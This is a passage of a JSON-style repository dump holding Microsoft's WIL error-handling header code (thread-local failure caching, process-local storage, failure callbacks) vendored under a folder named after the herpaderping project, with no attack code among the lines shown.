true);\n *value = (newValueHigh | newValueLow);\n return S_OK;\n }\n\n wil::unique_semaphore_nothrow m_semaphore;\n wil::unique_semaphore_nothrow m_semaphoreHigh;\n };\n\n template \n class ProcessLocalStorageData\n {\n public:\n ProcessLocalStorageData(unique_mutex_nothrow&& mutex, SemaphoreValue&& value) :\n m_mutex(wistd::move(mutex)),\n m_value(wistd::move(value)),\n m_data()\n {\n static_assert(sizeof(m_mutex) == sizeof(HANDLE), \"unique_any must be equivalent to the handle size to safely use across module\");\n }\n\n T* GetData()\n {\n WI_ASSERT(m_mutex);\n return &m_data;\n }\n\n void Release()\n {\n if (ProcessShutdownInProgress())\n {\n // There are no other threads to contend with.\n if (--m_refCount == 0)\n {\n m_data.ProcessShutdown();\n }\n }\n else\n {\n auto lock = m_mutex.acquire();\n if (--m_refCount == 0)\n {\n // We must explicitly destroy our semaphores while holding the mutex\n m_value.Destroy();\n lock.reset();\n\n this->~ProcessLocalStorageData();\n ::HeapFree(::GetProcessHeap(), 0, this);\n }\n }\n }\n\n static HRESULT Acquire(PCSTR staticNameWithVersion, _Outptr_result_nullonfailure_ ProcessLocalStorageData** data)\n {\n *data = nullptr;\n\n // NOTE: the '0' in SM0 below is intended as the VERSION number. Changes to this class require\n // that this value be revised.\n\n const DWORD size = static_cast(sizeof(ProcessLocalStorageData));\n wchar_t name[MAX_PATH];\n WI_VERIFY(SUCCEEDED(StringCchPrintfW(name, ARRAYSIZE(name), L\"Local\\\\SM0:%d:%d:%hs\", ::GetCurrentProcessId(), size, staticNameWithVersion)));\n\n unique_mutex_nothrow mutex;\n mutex.reset(::CreateMutexExW(nullptr, name, 0, MUTEX_ALL_ACCESS));\n\n // This will fail in some environments and will be fixed with deliverable 12394134\n RETURN_LAST_ERROR_IF_EXPECTED(!mutex);\n auto lock = mutex.acquire();\n\n void* pointer = nullptr;\n __WIL_PRIVATE_RETURN_IF_FAILED(SemaphoreValue::TryGetPointer(name, &pointer));\n if (pointer)\n {\n *data = reinterpret_cast*>(pointer);\n (*data)->m_refCount++;\n }\n else\n {\n __WIL_PRIVATE_RETURN_IF_FAILED(MakeAndInitialize(name, wistd::move(mutex), data)); // Assumes mutex handle ownership on success ('lock' will still be released)\n }\n\n return S_OK;\n }\n\n private:\n\n volatile long m_refCount = 1;\n unique_mutex_nothrow m_mutex;\n SemaphoreValue m_value;\n T m_data;\n\n static HRESULT MakeAndInitialize(PCWSTR name, unique_mutex_nothrow&& mutex, ProcessLocalStorageData** data)\n {\n *data = nullptr;\n\n const DWORD size = static_cast(sizeof(ProcessLocalStorageData));\n\n unique_process_heap_ptr> dataAlloc(static_cast*>(details::ProcessHeapAlloc(HEAP_ZERO_MEMORY, size)));\n __WIL_PRIVATE_RETURN_IF_NULL_ALLOC(dataAlloc);\n\n SemaphoreValue semaphoreValue;\n __WIL_PRIVATE_RETURN_IF_FAILED(semaphoreValue.CreateFromPointer(name, dataAlloc.get()));\n\n new(dataAlloc.get()) ProcessLocalStorageData(wistd::move(mutex), wistd::move(semaphoreValue));\n *data = dataAlloc.release();\n\n return S_OK;\n }\n };\n\n template \n class ProcessLocalStorage\n {\n public:\n ProcessLocalStorage(PCSTR staticNameWithVersion) WI_NOEXCEPT :\n m_staticNameWithVersion(staticNameWithVersion)\n {\n }\n\n ~ProcessLocalStorage() WI_NOEXCEPT\n {\n if (m_data)\n {\n m_data->Release();\n }\n }\n\n T* GetShared() WI_NOEXCEPT\n {\n if (!m_data)\n {\n ProcessLocalStorageData* localTemp = nullptr;\n if (SUCCEEDED(ProcessLocalStorageData::Acquire(m_staticNameWithVersion, &localTemp)) && !m_data)\n {\n m_data = localTemp;\n }\n }\n return m_data ? m_data->GetData() : nullptr;\n }\n\n private:\n PCSTR m_staticNameWithVersion = nullptr;\n ProcessLocalStorageData* m_data = nullptr;\n };\n\n template \n class ThreadLocalStorage\n {\n public:\n ThreadLocalStorage(const ThreadLocalStorage&) = delete;\n ThreadLocalStorage& operator=(const ThreadLocalStorage&) = delete;\n\n ThreadLocalStorage() = default;\n\n ~ThreadLocalStorage() WI_NOEXCEPT\n {\n for (auto &entry : m_hashArray)\n {\n Node *pNode = entry;\n while (pNode != nullptr)\n {\n auto pCurrent = pNode;\n pNode = pNode->pNext;\n pCurrent->~Node();\n ::HeapFree(::GetProcessHeap(), 0, pCurrent);\n }\n entry = nullptr;\n }\n }\n\n // Note: Can return nullptr even when (shouldAllocate == true) upon allocation failure\n T* GetLocal(bool shouldAllocate = false) WI_NOEXCEPT\n {\n DWORD const threadId = ::GetCurrentThreadId();\n size_t const index = (threadId % ARRAYSIZE(m_hashArray));\n for (auto pNode = m_hashArray[index]; pNode != nullptr; pNode = pNode->pNext)\n {\n if (pNode->threadId == threadId)\n {\n return &pNode->value;\n }\n }\n\n if (shouldAllocate)\n {\n Node *pNew = reinterpret_cast(details::ProcessHeapAlloc(0, sizeof(Node)));\n if (pNew != nullptr)\n {\n new(pNew)Node{ threadId };\n\n Node *pFirst;\n do\n {\n pFirst = m_hashArray[index];\n pNew->pNext = pFirst;\n } while (::InterlockedCompareExchangePointer(reinterpret_cast(m_hashArray + index), pNew, pFirst) != pFirst);\n\n return &pNew->value;\n }\n }\n return nullptr;\n }\n\n private:\n\n struct Node\n {\n DWORD threadId;\n Node* pNext = nullptr;\n T value{};\n };\n\n Node * volatile m_hashArray[10]{};\n };\n\n struct ThreadLocalFailureInfo\n {\n // ABI contract (carry size to facilitate additive change without re-versioning)\n unsigned short size;\n unsigned char reserved1[2]; // packing, reserved\n // When this failure was seen\n unsigned int sequenceId;\n\n // Information about the failure\n HRESULT hr;\n PCSTR fileName;\n unsigned short lineNumber;\n unsigned char failureType; // FailureType\n unsigned char reserved2; // packing, reserved\n PCSTR modulePath;\n void* returnAddress;\n void* callerReturnAddress;\n PCWSTR message;\n\n // The allocation (LocalAlloc) where structure strings point\n void* stringBuffer;\n size_t stringBufferSize;\n\n // NOTE: Externally Managed: Must not have constructor or destructor\n\n void Clear()\n {\n ::HeapFree(::GetProcessHeap(), 0, stringBuffer);\n stringBuffer = nullptr;\n stringBufferSize = 0;\n }\n\n void Set(const FailureInfo& info, unsigned int newSequenceId)\n {\n sequenceId = newSequenceId;\n\n hr = info.hr;\n fileName = nullptr;\n lineNumber = static_cast(info.uLineNumber);\n failureType = static_cast(info.type);\n modulePath = nullptr;\n returnAddress = info.returnAddress;\n callerReturnAddress = info.callerReturnAddress;\n message = nullptr;\n\n size_t neededSize = details::ResultStringSize(info.pszFile) +\n details::ResultStringSize(info.pszModule) +\n details::ResultStringSize(info.pszMessage);\n\n if (!stringBuffer || (stringBufferSize < neededSize))\n {\n auto newBuffer = details::ProcessHeapAlloc(HEAP_ZERO_MEMORY, neededSize);\n if (newBuffer)\n {\n ::HeapFree(::GetProcessHeap(), 0, stringBuffer);\n stringBuffer = newBuffer;\n stringBufferSize = neededSize;\n }\n }\n\n if (stringBuffer)\n {\n unsigned char *pBuffer = static_cast(stringBuffer);\n unsigned char *pBufferEnd = pBuffer + stringBufferSize;\n\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, info.pszFile, &fileName);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, info.pszModule, &modulePath);\n pBuffer = details::WriteResultString(pBuffer, pBufferEnd, info.pszMessage, &message);\n ZeroMemory(pBuffer, pBufferEnd - pBuffer);\n }\n }\n\n void Get(FailureInfo& info)\n {\n ::ZeroMemory(&info, sizeof(info));\n\n info.failureId = sequenceId;\n info.hr = hr;\n info.pszFile = fileName;\n info.uLineNumber = lineNumber;\n info.type = static_cast(failureType);\n info.pszModule = modulePath;\n info.returnAddress = returnAddress;\n info.callerReturnAddress = callerReturnAddress;\n info.pszMessage = message;\n }\n };\n\n struct ThreadLocalData\n {\n // ABI contract (carry size to facilitate additive change without re-versioning)\n unsigned short size = sizeof(ThreadLocalData);\n\n // Subscription information\n unsigned int threadId = 0;\n volatile long* failureSequenceId = nullptr; // backpointer to the global ID\n\n // Information about thread errors\n unsigned int latestSubscribedFailureSequenceId = 0;\n\n // The last (N) observed errors\n ThreadLocalFailureInfo* errors = nullptr;\n unsigned short errorAllocCount = 0;\n unsigned short errorCurrentIndex = 0;\n\n // NOTE: Externally Managed: Must allow ZERO init construction\n\n ~ThreadLocalData()\n {\n Clear();\n }\n\n void Clear()\n {\n for (auto& error : make_range(errors, errorAllocCount))\n {\n error.Clear();\n }\n ::HeapFree(::GetProcessHeap(), 0, errors);\n errorAllocCount = 0;\n errorCurrentIndex = 0;\n errors = nullptr;\n }\n\n bool EnsureAllocated(bool create = true)\n {\n if (!errors && create)\n {\n const unsigned short errorCount = 5;\n errors = reinterpret_cast(details::ProcessHeapAlloc(HEAP_ZERO_MEMORY, errorCount * sizeof(ThreadLocalFailureInfo)));\n if (errors)\n {\n errorAllocCount = errorCount;\n errorCurrentIndex = 0;\n for (auto& error : make_range(errors, errorAllocCount))\n {\n error.size = sizeof(ThreadLocalFailureInfo);\n }\n }\n }\n return (errors != nullptr);\n }\n\n void SetLastError(const wil::FailureInfo& info)\n {\n const bool hasListener = (latestSubscribedFailureSequenceId > 0);\n\n if (!EnsureAllocated(hasListener))\n {\n // We either couldn't allocate or we haven't yet allocated and nobody\n // was listening, so we ignore.\n return;\n }\n\n if (hasListener)\n {\n // When we have listeners, we can throw away any updates to the last seen error\n // code within the same listening context presuming it's an update of the existing\n // error with the same code.\n\n for (auto& error : make_range(errors, errorAllocCount))\n {\n if ((error.sequenceId > latestSubscribedFailureSequenceId) && (error.hr == info.hr))\n {\n return;\n }\n }\n }\n\n // Otherwise we create a new failure...\n\n errorCurrentIndex = (errorCurrentIndex + 1) % errorAllocCount;\n errors[errorCurrentIndex].Set(info, ::InterlockedIncrementNoFence(failureSequenceId));\n }\n\n bool GetLastError(_Inout_ wil::FailureInfo& info, unsigned int minSequenceId, HRESULT matchRequirement)\n {\n if (!errors)\n {\n return false;\n }\n\n // If the last error we saw doesn't meet the filter requirement or if the last error was never\n // set, then we couldn't return a result at all...\n auto& lastFailure = errors[errorCurrentIndex];\n if (minSequenceId >= lastFailure.sequenceId)\n {\n return false;\n }\n\n // With no result filter, we just go to the last error and report it\n if (matchRequirement == S_OK)\n {\n lastFailure.Get(info);\n return true;\n }\n\n // Find the oldest result matching matchRequirement and passing minSequenceId\n ThreadLocalFailureInfo* find = nullptr;\n for (auto& error : make_range(errors, errorAllocCount))\n {\n if ((error.hr == matchRequirement) && (error.sequenceId > minSequenceId))\n {\n if (!find || (error.sequenceId < find->sequenceId))\n {\n find = &error;\n }\n }\n }\n if (find)\n {\n find->Get(info);\n return true;\n }\n\n return false;\n }\n\n bool GetCaughtExceptionError(_Inout_ wil::FailureInfo& info, unsigned int minSequenceId, _In_opt_ const DiagnosticsInfo* diagnostics, HRESULT matchRequirement, void* returnAddress)\n {\n // First attempt to get the last error and then see if it matches the error returned from\n // the last caught exception. If it does, then we're good to go and we return that last error.\n\n FailureInfo last = {};\n if (GetLastError(last, minSequenceId, matchRequirement) && (last.hr == ResultFromCaughtException()))\n {\n info = last;\n return true;\n }\n\n // The last error didn't match or we never had one... we need to create one -- we do so by logging\n // our current request and then using the last error.\n\n DiagnosticsInfo source;\n if (diagnostics)\n {\n source = *diagnostics;\n }\n\n // NOTE: FailureType::Log as it's only informative (no action) and SupportedExceptions::All as it's not a barrier, only recognition.\n wchar_t message[2048];\n message[0] = L'\\0';\n const HRESULT hr = details::ReportFailure_CaughtExceptionCommon(__R_DIAGNOSTICS_RA(source, returnAddress), message, ARRAYSIZE(message), SupportedExceptions::All);\n\n // Now that the exception was logged, we should be able to fetch it.\n return GetLastError(info, minSequenceId, hr);\n }\n };\n\n struct ProcessLocalData\n {\n // ABI contract (carry size to facilitate additive change without re-versioning)\n unsigned short size = sizeof(ProcessLocalData);\n\n // Failure Information\n volatile long failureSequenceId = 1; // process global variable\n ThreadLocalStorage threads; // list of allocated threads\n\n void ProcessShutdown() {}\n };\n\n __declspec(selectany) ProcessLocalStorage* g_pProcessLocalData = nullptr;\n\n __declspec(noinline) inline ThreadLocalData* GetThreadLocalDataCache(bool allocate = true)\n {\n ThreadLocalData* result = nullptr;\n if (g_pProcessLocalData)\n {\n auto processData = g_pProcessLocalData->GetShared();\n if (processData)\n {\n result = processData->threads.GetLocal(allocate);\n if (result && !result->failureSequenceId)\n {\n result->failureSequenceId = &(processData->failureSequenceId);\n }\n }\n }\n return result;\n }\n\n __forceinline ThreadLocalData* GetThreadLocalData(bool allocate = true)\n {\n return GetThreadLocalDataCache(allocate);\n }\n\n } // details_abi\n /// @endcond\n\n\n /** Returns a sequence token that can be used with wil::GetLastError to limit errors to those that occur after this token was retrieved.\n General usage pattern: use wil::GetCurrentErrorSequenceId to cache a token, execute your code, on failure use wil::GetLastError with the token\n to provide information on the error that occurred while executing your code. Prefer to use wil::ThreadErrorContext over this approach when\n possible. */\n inline long GetCurrentErrorSequenceId()\n {\n auto data = details_abi::GetThreadLocalData();\n if (data)\n {\n // someone is interested -- make sure we can store errors\n data->EnsureAllocated();\n return *data->failureSequenceId;\n }\n\n return 0;\n }\n\n /** Caches failure information for later retrieval from GetLastError.\n Most people will never need to do this explicitly as failure information is automatically made available per-thread across a process when\n errors are encountered naturally through the WIL macros. */\n inline void SetLastError(const wil::FailureInfo& info)\n {\n static volatile unsigned int lastThread = 0;\n auto threadId = ::GetCurrentThreadId();\n if (lastThread != threadId)\n {\n static volatile long depth = 0;\n if (::InterlockedIncrementNoFence(&depth) < 4)\n {\n lastThread = threadId;\n auto data = details_abi::GetThreadLocalData(false); // false = avoids allocation if not already present\n if (data)\n {\n data->SetLastError(info);\n }\n lastThread = 0;\n }\n ::InterlockedDecrementNoFence(&depth);\n }\n }\n\n /** Retrieves failure information for the current thread with the given filters.\n This API can be used to retrieve information about the last WIL failure that occurred on the current thread.\n This error crosses DLL boundaries as long as the error occurred in the current process. Passing a minSequenceId\n restricts the error returned to one that occurred after the given sequence ID. Passing matchRequirement also filters\n the returned result to the given error code. */\n inline bool GetLastError(_Inout_ wil::FailureInfo& info, unsigned int minSequenceId = 0, HRESULT matchRequirement = S_OK)\n {\n auto data = details_abi::GetThreadLocalData(false); // false = avoids allocation if not already present\n if (data)\n {\n return data->GetLastError(info, minSequenceId, matchRequirement);\n }\n return false;\n }\n\n /** Retrieves failure information when within a catch block for the current thread with the given filters.\n When unable to retrieve the exception information (when WIL hasn't yet seen it), this will attempt (best effort) to\n discover information about the exception and will attribute that information to the given DiagnosticsInfo position.\n See GetLastError for capabilities and filtering. */\n inline __declspec(noinline) bool GetCaughtExceptionError(_Inout_ wil::FailureInfo& info, unsigned int minSequenceId = 0, const DiagnosticsInfo* diagnostics = nullptr, HRESULT matchRequirement = S_OK)\n {\n auto data = details_abi::GetThreadLocalData();\n if (data)\n {\n return data->GetCaughtExceptionError(info, minSequenceId, diagnostics, matchRequirement, _ReturnAddress());\n }\n return false;\n }\n\n /** Use this class to manage retrieval of information about an error occurring in the requested code.\n Construction of this class sets a point in time after which you can use the GetLastError class method to retrieve\n the origination of the last error that occurred on this thread since the class was created. */\n class ThreadErrorContext\n {\n public:\n ThreadErrorContext() :\n m_data(details_abi::GetThreadLocalData())\n {\n if (m_data)\n {\n m_sequenceIdLast = m_data->latestSubscribedFailureSequenceId;\n m_sequenceIdStart = *m_data->failureSequenceId;\n m_data->latestSubscribedFailureSequenceId = m_sequenceIdStart;\n }\n }\n\n ~ThreadErrorContext()\n {\n if (m_data)\n {\n m_data->latestSubscribedFailureSequenceId = m_sequenceIdLast;\n }\n }\n\n /** Retrieves the origination of the last error that occurred since this class was constructed.\n The optional parameter allows the failure information returned to be filtered to a specific\n result. */\n inline bool GetLastError(FailureInfo& info, HRESULT matchRequirement = S_OK)\n {\n if (m_data)\n {\n return m_data->GetLastError(info, m_sequenceIdStart, matchRequirement);\n }\n return false;\n }\n\n /** Retrieves the origin of the current exception (within a catch block) since this class was constructed.\n See @ref GetCaughtExceptionError for more information */\n inline __declspec(noinline) bool GetCaughtExceptionError(_Inout_ wil::FailureInfo& info, const DiagnosticsInfo* diagnostics = nullptr, HRESULT matchRequirement = S_OK)\n {\n if (m_data)\n {\n return m_data->GetCaughtExceptionError(info, m_sequenceIdStart, diagnostics, matchRequirement, _ReturnAddress());\n }\n return false;\n }\n\n private:\n details_abi::ThreadLocalData* m_data;\n unsigned long m_sequenceIdStart{};\n unsigned long m_sequenceIdLast{};\n };\n\n\n enum class WilInitializeCommand\n {\n Create,\n Destroy,\n };\n\n\n /// @cond\n namespace details\n {\n struct IFailureCallback\n {\n virtual bool NotifyFailure(FailureInfo const &failure) WI_NOEXCEPT = 0;\n };\n\n class ThreadFailureCallbackHolder;\n\n __declspec(selectany) details_abi::ThreadLocalStorage* g_pThreadFailureCallbacks = nullptr;\n\n class ThreadFailureCallbackHolder\n {\n public:\n ThreadFailureCallbackHolder(_In_ IFailureCallback *pCallbackParam, _In_opt_ CallContextInfo *pCallContext = nullptr, bool watchNow = true) WI_NOEXCEPT :\n m_ppThreadList(nullptr),\n m_pCallback(pCallbackParam),\n m_pNext(nullptr),\n m_threadId(0),\n m_pCallContext(pCallContext)\n {\n if (watchNow)\n {\n StartWatching();\n }\n }\n\n ThreadFailureCallbackHolder(ThreadFailureCallbackHolder &&other) WI_NOEXCEPT :\n m_ppThreadList(nullptr),\n m_pCallback(other.m_pCallback),\n m_pNext(nullptr),\n m_threadId(0),\n m_pCallContext(other.m_pCallContext)\n {\n if (other.m_threadId != 0)\n {\n other.StopWatching();\n StartWatching();\n }\n }\n\n ~ThreadFailureCallbackHolder() WI_NOEXCEPT\n {\n if (m_threadId != 0)\n {\n StopWatching();\n }\n }\n\n void SetCallContext(_In_opt_ CallContextInfo *pCallContext)\n {\n m_pCallContext = pCallContext;\n }\n\n CallContextInfo *CallContextInfo()\n {\n return m_pCallContext;\n }\n\n void StartWatching()\n {\n // out-of balance Start/Stop calls?\n __FAIL_FAST_IMMEDIATE_ASSERT__(m_threadId == 0);\n\n m_ppThreadList = g_pThreadFailureCallbacks ? g_pThreadFailureCallbacks->GetLocal(true) : nullptr; // true = allocate thread list if missing\n if (m_ppThreadList)\n {\n m_pNext = *m_ppThreadList;\n *m_ppThreadList = this;\n m_threadId = ::GetCurrentThreadId();\n }\n }\n\n void StopWatching()\n {\n if (m_threadId != ::GetCurrentThreadId())\n {\n // The thread-specific failure holder cannot be stopped on a different thread than it was started on or the\n // internal book-keeping list will be corrupted. To fix this change the telemetry pattern in the calling code\n // to match one of the patterns available here:\n // https://microsoft.sharepoint.com/teams/osg_development/Shared%20Documents/Windows%20TraceLogging%20Helpers.docx\n\n WI_USAGE_ERROR(\"MEMORY CORRUPTION: Calling code is leaking an activity thread-watcher and releasing it on another thread\");\n }\n\n m_threadId = 0;\n\n while (*m_ppThreadList != nullptr)\n {\n if (*m_ppThreadList == this)\n {\n *m_ppThreadList = m_pNext;\n break;\n }\n m_ppThreadList = &((*m_ppThreadList)->m_pNext);\n }\n m_ppThreadList = nullptr;\n }\n\n bool IsWatching()\n {\n return (m_threadId != 0);\n }\n\n void SetWatching(bool shouldWatch)\n {\n if (shouldWatch && !IsWatching())\n {\n StartWatching();\n }\n else if (!shouldWatch && IsWatching())\n {\n StopWatching();\n }\n }\n\n static bool GetThreadContext(_Inout_ FailureInfo *pFailure, _In_opt_ ThreadFailureCallbackHolder *pCallback, _Out_writes_(callContextStringLength) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringLength > 0) size_t callContextStringLength)\n {\n *callContextString = '\\0';\n bool foundContext = false;\n if (pCallback != nullptr)\n {\n foundContext = GetThreadContext(pFailure, pCallback->m_pNext, callContextString, callContextStringLength);\n\n if (pCallback->m_pCallContext != nullptr)\n {\n auto &context = *pCallback->m_pCallContext;\n\n // We generate the next telemetry ID only when we've found an error (avoid always incrementing)\n if (context.contextId == 0)\n {\n context.contextId = ::InterlockedIncrementNoFence(&s_telemetryId);\n }\n\n if (pFailure->callContextOriginating.contextId == 0)\n {\n pFailure->callContextOriginating = context;\n }\n\n pFailure->callContextCurrent = context;\n\n auto callContextStringEnd = callContextString + callContextStringLength;\n callContextString += strlen(callContextString);\n\n if ((callContextStringEnd - callContextString) > 2) // room for at least the slash + null\n {\n *callContextString++ = '\\\\';\n auto nameSizeBytes = strlen(context.contextName) + 1;\n size_t remainingBytes = static_cast(callContextStringEnd - callContextString);\n auto copyBytes = (nameSizeBytes < remainingBytes) ? nameSizeBytes : remainingBytes;\n memcpy_s(callContextString, remainingBytes, context.contextName, copyBytes);\n *(callContextString + (copyBytes - 1)) = '\\0';\n }\n\n return true;\n }\n }\n return foundContext;\n }\n\n static void GetContextAndNotifyFailure(_Inout_ FailureInfo *pFailure, _Out_writes_(callContextStringLength) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringLength > 0) size_t callContextStringLength) WI_NOEXCEPT\n {\n *callContextString = '\\0';\n bool reportedTelemetry = false;\n\n ThreadFailureCallbackHolder **ppListeners = g_pThreadFailureCallbacks ? g_pThreadFailureCallbacks->GetLocal() : nullptr;\n if ((ppListeners != nullptr) && (*ppListeners != nullptr))\n {\n callContextString[0] = '\\0';\n if (GetThreadContext(pFailure, *ppListeners, callContextString, callContextStringLength))\n {\n pFailure->pszCallContext = callContextString;\n }\n\n auto pNode = *ppListeners;\n do\n {\n reportedTelemetry |= pNode->m_pCallback->NotifyFailure(*pFailure);\n pNode = pNode->m_pNext;\n }\n while (pNode != nullptr);\n }\n\n if (g_pfnTelemetryCallback != nullptr)\n {\n g_pfnTelemetryCallback(reportedTelemetry, *pFailure);\n }\n }\n\n ThreadFailureCallbackHolder(ThreadFailureCallbackHolder const &) = delete;\n ThreadFailureCallbackHolder& operator=(ThreadFailureCallbackHolder const &) = delete;\n\n private:\n static long volatile s_telemetryId;\n\n ThreadFailureCallbackHolder **m_ppThreadList;\n IFailureCallback *m_pCallback;\n ThreadFailureCallbackHolder *m_pNext;\n DWORD m_threadId;\n wil::CallContextInfo *m_pCallContext;\n };\n\n __declspec(selectany) long volatile ThreadFailureCallbackHolder::s_telemetryId = 1;\n\n template \n class ThreadFailureCallbackFn final : public IFailureCallback\n {\n public:\n explicit ThreadFailureCallbackFn(_In_opt_ CallContextInfo *pContext, _Inout_ TLambda &&errorFunction) WI_NOEXCEPT :\n m_errorFunction(wistd::move(errorFunction)),\n m_callbackHolder(this, pContext)\n {\n }\n\n ThreadFailureCallbackFn(_Inout_ ThreadFailureCallbackFn && other) WI_NOEXCEPT :\n m_errorFunction(wistd::move(other.m_errorFunction)),\n m_callbackHolder(this, other.m_callbackHolder.CallContextInfo())\n {\n }\n\n bool NotifyFailure(FailureInfo const &failure) WI_NOEXCEPT\n {\n return m_errorFunction(failure);\n }\n\n private:\n ThreadFailureCallbackFn(_In_ ThreadFailureCallbackFn const &);\n ThreadFailureCallbackFn & operator=(_In_ ThreadFailureCallbackFn const &);\n\n TLambda m_errorFunction;\n ThreadFailureCallbackHolder m_callbackHolder;\n };\n\n\n // returns true if telemetry was reported for this error\n inline void __stdcall GetContextAndNotifyFailure(_Inout_ FailureInfo *pFailure, _Out_writes_(callContextStringLength) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringLength > 0) size_t callContextStringLength) WI_NOEXCEPT\n {\n ThreadFailureCallbackHolder::GetContextAndNotifyFailure(pFailure, callContextString, callContextStringLength);\n\n // Update the process-wide failure cache\n wil::SetLastError(*pFailure);\n }\n\n template void InitGlobalWithStorage(WilInitializeCommand state, void* storage, T*& global, TCtorArgs&&... args)\n {\n if ((state == WilInitializeCommand::Create) && !global)\n {\n global = ::new (storage) T(wistd::forward(args)...);\n }\n else if ((state == WilInitializeCommand::Destroy) && global)\n {\n global->~T();\n global = nullptr;\n }\n }\n }\n /// @endcond\n\n /** Modules that cannot use CRT-based static initialization may call this method from their entrypoint\n instead. Disable the use of CRT-based initializers by defining RESULT_SUPPRESS_STATIC_INITIALIZERS\n while compiling this header. Linking together libraries that disagree on this setting and calling\n this method will behave correctly. It may be necessary to recompile all statically linked libraries\n with the RESULT_SUPPRESS_... setting to eliminate all \"LNK4201 - CRT section exists, but...\" errors.\n */\n inline void WilInitialize_Result(WilInitializeCommand state)\n {\n static unsigned char s_processLocalData[sizeof(*details_abi::g_pProcessLocalData)];\n static unsigned char s_threadFailureCallbacks[sizeof(*details::g_pThreadFailureCallbacks)];\n\n details::InitGlobalWithStorage(state, s_processLocalData, details_abi::g_pProcessLocalData, \"WilError_03\");\n details::InitGlobalWithStorage(state, s_threadFailureCallbacks, details::g_pThreadFailureCallbacks);\n\n if (state == WilInitializeCommand::Create)\n {\n details::g_pfnGetContextAndNotifyFailure = details::GetContextAndNotifyFailure;\n }\n }\n\n /// @cond\n namespace details\n {\n#ifndef RESULT_SUPPRESS_STATIC_INITIALIZERS\n __declspec(selectany) ::wil::details_abi::ProcessLocalStorage<::wil::details_abi::ProcessLocalData> g_processLocalData(\"WilError_03\");\n __declspec(selectany) ::wil::details_abi::ThreadLocalStorage g_threadFailureCallbacks;\n\n WI_HEADER_INITITALIZATION_FUNCTION(InitializeResultHeader, []\n {\n g_pfnGetContextAndNotifyFailure = GetContextAndNotifyFailure;\n ::wil::details_abi::g_pProcessLocalData = &g_processLocalData;\n g_pThreadFailureCallbacks = &g_threadFailureCallbacks;\n return 1;\n });\n#endif\n }\n /// @endcond\n\n\n // This helper functions much like scope_exit -- give it a lambda and get back a local object that can be used to\n // catch all errors happening in your module through all WIL error handling mechanisms. The lambda will be called\n // once for each error throw, error return, or error catch that is handled while the returned object is still in\n // scope. Usage:\n //\n // auto monitor = wil::ThreadFailureCallback([](wil::FailureInfo const &failure)\n // {\n // // Write your code that logs or cares about failure details here...\n // // It has access to HRESULT, filename, line number, etc through the failure param.\n // });\n //\n // As long as the returned 'monitor' object remains in scope, the lambda will continue to receive callbacks for any\n // failures that occur in this module on the calling thread. Note that this will guarantee that the lambda will run\n // for any failure that is through any of the WIL macros (THROW_XXX, RETURN_XXX, LOG_XXX, etc).\n\n template \n inline wil::details::ThreadFailureCallbackFn ThreadFailureCallback(_Inout_ TLambda &&fnAtExit) WI_NOEXCEPT\n {\n return wil::details::ThreadFailureCallbackFn(nullptr, wistd::forward(fnAtExit));\n }\n\n\n // Much like ThreadFailureCallback, this class will receive WIL failure notifications from the time it's instantiated\n // until the time that it's destroyed. At any point during that time you can ask for the last failure that was seen\n // by any of the WIL macros (RETURN_XXX, THROW_XXX, LOG_XXX, etc) on the current thread.\n //\n // This class is most useful when utilized as a member of an RAII class that's dedicated to providing logging or\n // telemetry. In the destructor of that class, if the operation had not been completed successfully (it goes out of\n // scope due to early return or exception unwind before success is acknowledged) then details about the last failure\n // can be retrieved and appropriately logged.\n //\n // Usage:\n //\n // class MyLogger\n // {\n // public:\n // MyLogger() : m_fComplete(false) {}\n // ~MyLogger()\n // {\n // if (!m_fComplete)\n // {\n // FailureInfo *pFailure = m_cache.GetFailure();\n // if (pFailure != nullptr)\n // {\n // // Log information about pFailure (pFileure->hr, pFailure->pszFile, pFailure->uLineNumber, etc)\n // }\n // else\n // {\n // // It's possible that you get stack unwind from an exception that did NOT come through WIL\n // // like (std::bad_alloc from the STL). Use a reasonable default like: HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION).\n // }\n // }\n // }\n // void Complete() { m_fComplete = true; }\n // private:\n // bool m_fComplete;\n // ThreadFailureCache m_cache;\n // };\n\n class ThreadFailureCache final :\n public details::IFailureCallback\n {\n public:\n ThreadFailureCache() :\n m_callbackHolder(this)\n {\n }\n\n ThreadFailureCache(ThreadFailureCache && rhs) WI_NOEXCEPT :\n m_failure(wistd::move(rhs.m_failure)),\n m_callbackHolder(this)\n {\n }\n\n ThreadFailureCache& operator=(ThreadFailureCache && rhs) WI_NOEXCEPT\n {\n m_failure = wistd::move(rhs.m_failure);\n return *this;\n }\n\n void WatchCurrentThread()\n {\n m_callbackHolder.StartWatching();\n }\n\n void IgnoreCurrentThread()\n {\n m_callbackHolder.StopWatching();\n }\n\n FailureInfo const *GetFailure()\n {\n return (FAILED(m_failure.GetFailureInfo().hr) ? &(m_failure.GetFailureInfo()) : nullptr);\n }\n\n bool NotifyFailure(FailureInfo const &failure) WI_NOEXCEPT\n {\n // When we \"cache\" a failure, we bias towards trying to find the origin of the last HRESULT\n // generated, so we ignore subsequent failures on the same error code (assuming propagation).\n\n if (failure.hr != m_failure.GetFailureInfo().hr)\n {\n m_failure.SetFailureInfo(failure);\n }\n return false;\n }\n\n private:\n StoredFailureInfo m_failure;\n details::ThreadFailureCallbackHolder m_callbackHolder;\n };\n\n} // wil\n\n#pragma warning(pop)\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/result_macros.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_RESULTMACROS_INCLUDED\n#define __WIL_RESULTMACROS_INCLUDED\n\n// WARNING:\n// Code within this scope must satisfy both C99 and C++\n\n#include \"common.h\"\n\n#if !defined(__WIL_MIN_KERNEL) && !defined(WIL_KERNEL_MODE)\n#include \n#endif\n\n// Setup the debug behavior\n#ifndef RESULT_DEBUG\n#if (DBG || defined(DEBUG) || defined(_DEBUG)) && !defined(NDEBUG)\n#define RESULT_DEBUG\n#endif\n#endif\n\n/// @cond\n#if defined(_PREFAST_)\n#define 